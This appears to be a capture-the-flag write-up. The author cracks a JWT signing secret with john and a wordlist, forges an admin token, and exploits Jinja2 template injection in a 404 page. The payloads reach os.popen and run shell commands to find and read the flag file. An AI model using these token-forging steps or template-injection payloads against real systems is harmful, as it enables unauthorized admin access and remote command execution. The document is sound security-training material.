On the website we got a session-token and token that seems to be a jwt: to get the secret we have to bruteforce the jwt, using john:
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0In0.9SvIFMTsXt2gYNRF9I0ZhRhLQViY-MN7VaUutz9NA9Y" > jwt.hash
To crack it:
john jwt.hash -w=/usr/share/wordlists/rockyou.txt
we get the secret as supersecret
Now it's time to create a new token and sign it using the jwt_tool:
Using the tool to change guest for admin and sign it with the key:
Our brand new jwt token with "admin" eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.Ykqid4LTnSPZtoFb11H+/2q+Vo32g4mLpkEcajK0H7I
changing the token with this value gives us access to de admin panel:
I noticed that inside the admin template when a webpage doesn't exists it renders the endpoint on the 404, for example if I look for /admin/abt.html I got:
This added to the name of the challenge made me think about template injection and bingo:
So there is probably python running on the backgroung as this is a feature of flask jinja so let's find it out with {{ [].__class__.__base__.__subclasses__() }}
:
So now we just need to use the os library to read the flag:
{{ request.application.__globals__.__builtins__}}}
we can access the builtins so we will try to import the os with { request.application.__globals__.__builtins__.__import__('os')}}
Its time to find the flag.txt {{ request.application.__globals__.__builtins__.__import__('os').popen('find / -name flag.txt').read()}}
and finally cat the flag {{ request.application.__globals__.__builtins__.__import__('os').popen('cat /home/user/flag.txt').read()}}
And that was all!